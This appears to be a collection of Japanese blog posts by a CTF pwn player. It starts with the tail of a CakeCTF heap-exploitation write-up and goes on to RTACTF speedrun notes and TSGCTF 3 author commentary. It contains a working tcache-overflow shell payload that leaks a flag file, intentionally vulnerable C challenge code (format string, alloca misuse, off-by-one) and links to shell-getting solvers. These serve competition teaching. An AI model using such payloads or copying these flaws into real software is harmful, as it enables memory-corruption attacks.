│   D: 0x40  │
│            │
└────────────┘

残る手順は、

  1. 上の状態を自然に作ると、tcache(0x20)がA->B, 0x40がC -> Dのようになる。ここでfifoをファイルとして与えると malloc(0) が走りこれは0x20のバッファだと思われるので、fifoのファイル名も0x20くらいの長さで与えていると、Bのバッファをオーバーフローできる。
  2. ここで、Cのバッファの大きさを0x20に詐称しつつ、Cのtcacheのリンク先をDからAに変える。
  3. 一度flag.txtを確保すると、tcacheが、[0x20] -> A かつ[0x40] -> Aになる
  4. もう一度flag.txtを読み込むと、フラグの名前がAに書き込まれた後さらに、Aに中身が書き込まれ、ファイル名表示のタイミングで中身が表示される

ペイロード

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
  > /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

mkfifo /tmp/hoge

crc32sum \
  /////////////////////////////////////////////////////////////////////////////////////////etc/passwd \  #ヒープの調整
  /tmp/hoge \  # A -> Bの生成
  /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ # C -> Dの生成
  /tmp/hoge \   # ヒープオーバーフローで[0x40] -> C -> Aにする(以下のAAAA...AQ | base64 -d の結果が来る) 
  flag.txt \    # Cを剥がし、[0x20] -> A, [0x40] -> Aの状態にする
  flag.txt &  # flag.txtを読ませると、Aにflag.txtを読ませた後、Aにさらにflag.txtの中身を書き込むので、ファイル名の表示でリークできる

echo A > /tmp/hoge
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoQAAAAAAAAAQ | base64 -d > /tmp/hoge

感想

2時間ほどで解くことができて、1st bloodだった*1。賞品が得られるらしく、楽しみ *2

謎メタ読みで、ptr-yudaiの作問だから、ゴリゴリヒープをしなくても解けるようになっていると信じていた人のログ *3

信じるものは救われた

Advanced Player?

ここからその他感想です。

参加しようと思ったら、

This year we have reduced the difficulty level and the number of challenges a little more than in previous years. Advanced players are encouraged to participate solo or in teams with a couple of people.

らしくて、まあ歴は長いしこれに該当するのかもしれないなと思ったが、

  • pwn以外マジで知らん
  • 個人だとモチベが続かない気がする
  • (日曜参加できないので、中途半端に終わりそう)
  • (そもそもadvanced playerではない🙅)

などの理由で、普通に TSG として参加した。

これはちょっとカスで、若いTSGerが解くべき比較的簡単めなpwnの問題も自分が奪い取ってしまうという点があるんですよね、ごめんなさい。

ソロプレイヤーがつよい

順位表を見ると、TSGのすぐ下の3位に superflip(kusano_kさん)をはじめとして、ソロプレイヤーたちが並んでいる

(まあ典型よりとはいえ)多様なジャンルの問題を一人でポンポン解いていける人間、かなり尊敬している... 真のCTFプレイヤーです。

分業制

TSGの人間かなり、binaryを見る人間、cryptoをやる人間、webを見る人間が分かれていがちで(まあこおしいずさんとかは3ジャンルどれも見れたりするだろうが)、特に僕はcrypto、webについて何も分からないので、他のジャンルの問題が残っていると、ぺちぺちたたいたり

ラクルとして人間を利用したり、

令呪を使ったりしている *4

実際CTF参加、チャットしながらわいわいしているのが本質で、これがなくソロでひたすら問題を解くの本当にかなり偉いなという感情が強いんですよね。僕は、CTFプレイヤーではないです。*5

kosenctfxで遊ぶ

上述の理由でCTF中に暇になったので、CakeCTFのスコアサーバーで使われている、kosenctfxについて調べてみました!

これは、 TSGのチーム詳細ページ なんですが、なぜか解いた時刻順に問題が並んでいません。どうしてなのでしょうか?

このCTFは、theoremoonさん謹製、kosenctfxでスコアサーバーがホストされているらしいです。

github.com

みんなでstarボタンを押して開発を応援しよう!

ところで、ソースコードを読んでみると、このページは、kosenctfx/[id].tsx at d2c9c0244031843533f56e8b81eb0382b52ad9c7 · theoremoon/kosenctfx · GitHubにあるファイルにあるようにlodashを用いてクライアント側でソートされているらしいです

            {orderBy(
              Object.entries(teamScore.taskStats).map(([key, taskStat]) => ({
                taskname: key,
                ...taskStat,
              })),
              ["solved_at"],
              ["desc"]
            ).map((task) => (
              <tr key={task.taskname}>
                <td>{task.taskname}</td>
                <td>{task.points}</td>
                <td>{dateFormat(task.time)}</td>
              </tr>
            ))}

よく見てみると、下のコードでは、 task.time を参照しているのに、lodashのorderByには solved_at が渡されているようです。これのせいみたいですね?

いかがでしたでしょうか? ここで終わってもよいのですが、せっかくのCakeCTFをもっと完璧にしたい。自分の環境だけでも完全にすることはできないのでしょうか? そこで、こおしいずさんにどうすればよいか聞いたところ、Google ChromeOverrides という機能を用いると直接スクリプトをいじってパッチすることができるらしいです。勉強になります。Overridesを設定して、

リロードしてみると、、、

ちゃんと時間順になりました、嬉しい!

kosenctfxの開発を陰ながら応援しています。

CTFをしていない

CTF、最近していなくて、まあこれはある意味で意図的なところもあったんですが *6、これだけやらないとさすがにやりたくなる。

Cake CTFくらいの問題を気分良く解くのが体に良いので、健康のためにも来年も開催してください。お願いします。

*1:のを自慢するためにこのブログを書きました

*2:実は30分間くらい、フラグの長さを59文字だと勘違いしていてバグらせていて溶かしておりめちゃくちゃ焦った

*3:実は若干非想定だったらしい? https://twitter.com/pwnyaa/status/1566299698901950465

*4:ちなみに、この問題はLLLではなかったらしい?ので「実現不可能な奇跡」を令呪に使ってしまった。でも解かれたのでオーケーです

*5:ところで後から冷静になって見てみるとちょっと冷めた感情になりますね

*6:DEF CON CTF finalsはスクリプトキディばかりしていて、CTFをしなかったんですよね

SECCON 2021で作問し、運営中ボードゲームをしました。

SECCON 2021で作問し、運営中ボードゲームをしました。楽しかったです。

作問

seccon_tree

Pythonのrefcountに関連したPwnの問題。オタクはすぐ言語処理系関連の問題を作ってしまう。

writeupはhackmdにあります

hackmd.io

dis-me

Pythonのパッカーっぽい問題。っぽいってだけ。 当初は、再帰的に自身を参照するcode objectみたいなのを作ったりしたかったが、これは、marshalが許さなかった(pycで保存できなかった)。残念。 妥協を重ねた結果このような感じに。

writeupはhackmdにあります

hackmd.io

運営中ボードゲーム

BGAに登録して、CTFer各位と遊びました。その他お絵かき系ゲームをいくつかやりました。

感想

楽しかったです。各位とdiscordでわいわいできて十分良かったんですが、来年はオンサイトイベントが開催できると、良いな...

SECCON、僕は楽しいところしかやってない感じなんですが、事務的なところやインフラ周りなど様々な人々の尽力がありギリギリの感じで存在できているみたいな感じだと思っているので、お疲れさまですと最後に言いたいです。

SECCON併設RTACTFで、pwnerとして走りました🏃

走りました。

gyazo.com

動画はここから見れます。

youtu.be

コンテストサイトは(生きていれば):RTACTF 2021

noalloca 156.23 sec

int main() {
  unsigned size;
  char buf[0x80];

  /* Input size */
  printf("size: ");
  scanf("%d%*c", &size);
  if (size > 0x80) {
    puts("*** buffer overflow ***");
    return 1;
  }

  /* Input data */
  printf("data: ");
  readn(buf, size-1);

  return 0;
}

結論としては、size=0のときinteger overflowなんですが、初手人力fuzzerをしているときに+を入れたらバグったのでそのまま走りきりました(後から考えると、意味不明な行動)。比較的素早く解けました。

alloca 275.46 sec

int main() {
  int size;
  char *buf;

  /* Input size */
  printf("size: ");
  scanf("%d%*c", &size);

  /* Input data */
  printf("data: ");
  buf = alloca(size);
  readn(buf, size);

  return 0;
}

一見するとバグが無くねと思って焦りましたが、allocaは負の方向のmitigationはないらしい、そうなんだ。ドキドキしました。-1を入れて、バッファ・オーバーフローすると良いです。

constalloca 673.13 sec

void readn(char *ptr, int size) {
  /* Read data up to `size` bytes into `ptr` */
  for (int i = 0; i != size; i++, ptr++) {
    read(0, ptr, 1);
    if (*ptr == '\n') break;
  }
  *ptr = '\0'; // terminate by null
}

int main() {
  char title[0x18];
  char *content = alloca(0x80);

  /* Input title */
  printf("title: ");
  readn(title, 0x18);

  /* Input content */
  printf("data: ");
  readn(content, 0x80);

  return 0;
}

これはマジで焦りました。まず、main見るとバグがないので。 まあバグがないということは、ということでreadnをおもむろに見ると、readnにoff by one errorがあります。readnは心理的に無視しがちなので怖いですね。

次に、off-by-oneで書き込めるのは0なので、もうこういうことやろwみたいな感じで適当にソルバーを書きます

youtu.be

動画でいうとこの当たりで、シェル取れるスクリプトを書いていたんですね(言い訳)。

ところで、pwn-noobなので、ここでガチャ要素が生まれるということに気づかず(もうこれで解けるように"仕組まれているはず"と思って)動かないので焦ります。HELP

色々ガチャガチャやった結果、やっぱ最初ので良かったんじゃねとなり、そうこうしているとローカルでシェルが取れたので、なんかガチャ要素あるんだっけ〜と思いながら適当にremoteで3回神頼みをしたらフラグが取れたので、良かったということにしました。

speedrunならではのドキドキですね。

https://gist.github.com/moratorium08/d271aae775f978821bd076d0ff7148f1

感想

CTFは普通24時間とか48時間とか潤沢な時間があり、あんまり"時間に焦る"ということは経験しないので(といいつつ、ギリギリになるとやる気が出る問題により結構タイムアタックすることもありますが)、speedrunは競技としてだいぶ違うなとなります。腰を据えてできるかどうかは割とでかい。普通のCTFで解けない問題は能力的に解けないみたいな感じになると思っているんですが、speedrunでは能力的に解けるというだけではダメなので。

この気持ちは、数学の期末試験とか、大学入試的なドキドキですかね。うっかり、誤った方向に掘っていってしまうと終わるのとケアレスミスで時間が潰れるドキドキ感

TSG LIVEでは割と冷やしてきた経験があるのですが、今回はめちゃくちゃな冷えにはならなかったのは良かったなと思います..

TSGCTF 3 個人的ハイライト

まさか謎言語のunsound bugは出ないよね

実は大きなハイライトは大会開催前に来た。

https://twitter.com/pwnyaa/status/1441765054014115849

CatastropheというOCamlのunsound問を作っていたのでとても怖かった。ちょっと媚びた感じの問題に最終的にしたけど振り向いてもらえず振られる

ptr-yudai stable infra / piyopiyo tasks / good support / -48 for ocaml / you shouldn't fool beginners

もうOCaml問は作りません🙅

プロのSREのしごと

詳しいことは博多市とかが書きそうだけど、実はCTF開始当初CTFTimeログインを使った人間のサブミッションが見えたり見えなかったりしてスコアボードが少し壊れたり、CTFTimeログインをした結果404にredirectされると言われたりして謎だった。

ここでプロのSRE(職業がそうなので)であるところのくっきーさんが原因究明をするまでのプロセスが職人技で隣(正確にはDiscord越しだが)で見ていて楽しかった。報告されている不具合とCTFTimeログインの関連及びDBの整合性等から、CTFTime側のemailの設定が空文字列になっている人間がいる場合に起きているらしいことを突き止め、その上でこの問題が起こらないようにCTFdにパッチを当ててデプロイを迅速にしていた。

https://github.com/tsg-ut/CTFd/commit/8351116d925c4d1c42a6a51a404af37879738022

大変そうだが傍から見ていると面白かった

バックエンドが燃えている中みんはやのクイズを作るsmallkirby

実際一日目16~18時は上述の件でかなりバックエンドが燃えていたが、その中で、クイズをもくもくと作り続け、なんなら完成したタイミングで燃えている人間をクイズに誘うなどしていた。さすがにクイズをしている場合ではなかった。

落ち着いてきたところで、smallkirbyプレゼンツのみんはやのクイズを楽しむ

炎上中に作りためてあった60問くらいの問題をやる。 勝ったり負けたりした。

負けた回のスクショはない

Beginner's Webより先にHard問のsolverが出る

ここらへんでBeginner's Webやばいんじゃないかと話題に

Beginner's Webの解法がワザップと話題に

博多市がそうはいってもこれは"beginner"なんだと、TSGerに実演。ブラウザでの操作がワザップに載ってそうと話題になる。

寝る

Surveyを出す前に寝て出した後寝た

起こされる

ptr-yudaiさんからの質問が来たので飛び起きた(正確には電話で起こされた)

keymoonさんがmiscを全部解く

すごい。misc大好きグループTSGと相性が良さそう。

Beginner's Webが22時間半後くらいに解かれる

すごい。実際あれだけシンプルなペイロード、シンプルなアプリケーションでよくこの時間まで残ったなというのもすごいし、酒を飲んだ結果解いたkusanoさんもすごい。

status badge

CTF後にあんまり言及がなくて(僕が作ったわけじゃないけど)悲しい。くっきーさんが、Web問を作るのを犠牲にした代わりに作った

ちなみに、ここすき(なんか全部の問題が出る前に、くっきーさんが寝ちゃって、追加問題に対するステータスバッジが動かないのをmikitさんがなんとか動かしていた図)

上の文章を見せたときのJP3BGYくんの反応

参加者から直電来るとしたら運営ちょっとしたくないな..

"Survey"のおもしろwriteup

mikecat.github.io

普通に知らんかった。どうするのが良いんですかね?

TSGCTF 3 で作問・作問チェックをした問題について

作問

今年はPwnを6問作った。ちなみに接頭語がcだらけなのは気づきましたか?(特に意味はないです)

Beginner's Pwn (beginner) 283 solves

Writeup: https://hackmd.io/@moratorium08/SJiWXXvNF

もともとはCoffeeをBeginner向けに作りかけていたが、想定よりテクい感じになってしまったので、もっとテクい感じではなく、博多市でも解いてくれるような問題でかつpwn感ある問題を目指した(ちなみに忙しくて解いてくれなかった)

本当はBeginner枠はPwnわかる人間でも考えないと分からないし、わからない人間も考えればわかるみたいな問題を出せると理想だが、残念ながらアイデア不足で前者が満たせなかった。

Coffee (easy) 48 solves

Writeup: https://hackmd.io/@moratorium08/ryMcaePVY

ソースコードがとても短いのでもう一回載せちゃお

#include <stdio.h>

int x = 0xc0ffee;
int main(void) {
    char buf[160];
    scanf("%159s", buf);
    if (x == 0xc0ffee) {
        printf(buf);
        x = 0;
    }
    puts("bye");
}

特に話せる話は、無いな

cHeap (easy) 39 solves

Writeup: https://hackmd.io/@moratorium08/BJ3j8-wNK

かなり典型的なheap風水問。zer0ptsの解く速度があまりに速くてさすがに怖かった。

Cling (medium) 5 solves

Writeup: https://hackmd.io/@moratorium08/S1ig4xwVF

Clingで遊んでいたら気づいた事実を元に作った問題。個人的には露骨にclingのevalを呼び出す部分があんまり気に入ってなくて、clingがJITをlazyな感じで、関数を呼び出すときに初めてコンパイルする感じだったらなおよかったなあという感じ。

ところでClingってよく動いてますよね、すごい。

Chat (medium-hard) 1 solve with azaika

Writeup: https://hackmd.io/@moratorium08/Sk7puL84Y

難しめの問題枠。もともとは、std::variantのemplaceを使っていて、クソデカ数を入れると、一個前の選択肢に依らずに例外で落とすことができていたが、azaikaという人間が現れてC++を教えてくれたのでよりバグが込み入った。

そもそものアイデアは、例外吐いて落ちるときstack unwinding起きないんだという驚きから生まれた問題(実際には実装依存だがclang/gccは起きないっぽい)。この挙動あんま知らなかったけど結構怖いと思うんだよね。やはりちゃんと例外はキャッチしないといけないね

Catastrophe (hard) 1 solve

Writeup: https://hackmd.io/@moratorium08/Sk7puL84Y

OCamlのunsound問。ただ、SECCONのときと違いocamloptでネイティブのマシンコードにするのではなくocamlcでバイトコードを吐くようにした。なので最終的にはバイトコードを実行するVMのpwn。

実は2018年頃に一度この形での問題(Obj.magicさえあれば、OCamlインタプリタがPwn可能なのか)というのを作ろうとしてできるだろうけどよくわからないねと思ってやめた経験があるので、実はちょっとエモという話も。

まあもう二度とOCamlを題材にすることはないでしょう。

作問チェック

Rev/Pwn・言語処理系の問題は僕の担当という気持ちで眺めてた。今回は過去2回と比べてもかなりレビューを互いにしたと思う。

lkgit by smallkirby

中間発表に悩まされる中作ったかーびーかーねる問。userfaultfdを"うまく"起こさないといけない問題。 あんまカーネル問ができないので、https://github.com/smallkirby/kernelpwn と https://ptr-yudai.hatenablog.com/ を見ながらスクリプトキディをして解いた。なのであんまり読ませられるコードにはなっていない。

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-lkgit-c

smallkirby.hatenablog.com

Beginner's Rev by mikit

最初作問チェックをしたときに比較的想定解通りに解いたので、かえって紛らわしかったかもしれない。gdb謎機能とか使わずに、バイナリパッチして、forkした場合に/dev/nullに吐き出す部分を取り除いた。そうすると、OK/NGの数の変化で前からbrute forceができる。想定はstraceで同様にOK/NGの数を数える方針で、ゴリゴリrevをしなくても綺麗に解けるBeginner's Revにふさわしい問題

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-beginners_rev-py

Natural Flag Processing by dai

もともともう少しオートマトンの構造が簡単だったときに一度解いて、その後ネタを知った状態で解き直した。

基本的には、可能なケースをトラックするコードを書けばいい。Colabって便利なんですね

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-natural_flag_processing-py

optimized by ishitatsuyuki

ある意味TSGCTF唯一のrev問らしいrev問。やや典型に近かったかもしれない分だけソルバーが出ていた気がする。UPX + 難読化つきのバイナリなので、gdb使ってバイナリを取り出して、IDAで開くときれいに解析してくれた。

あとは、当該処理を元に可能なケースを全探索

https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-optimized-cpp

Beginner's Web by hakatashi

分からんくて泣いてた。普通にraceだと思っちゃうよね。よくこういう問題が作れるなあ。

Beginner's Crypto by hakatashi

"三つ子素数"についてわかったとき、そっかーという気持ちに

UB sharp by JP3BGY

これは、作問チェック実は結構していたんですが、結局非想定解がいっぱいあった... 申し訳ない。言語問、かなり不可能。出す前にホワイトボックスにするかブラックボックスにするか議論で盛り上がったが、やはり(出すなら)ホワイトボックスしか勝たんなあという気持ちに。

僕が見つけた非想定解は、sanitizerのバグと旧バージョンで可能だった変数の上書き解。実はこの後者に対応するために、当該変数をインスタンス変数にしたのが運のつきだった。直したところに目がいかなくなっていた。

しかし、うまいことGetTypeをしてAssemblyを取り出してReflection頑張る解はレビュー中普通に見つけられておらず、これは普通に駄目だった。

感想

CTF開始前は割と胃が痛かったし、そもそも準備がとてもしんどかった。ただ、よくわからんけど結局開催後は楽しかったという気持ちだけが残るんですよね。

来年、、あると、いいですね?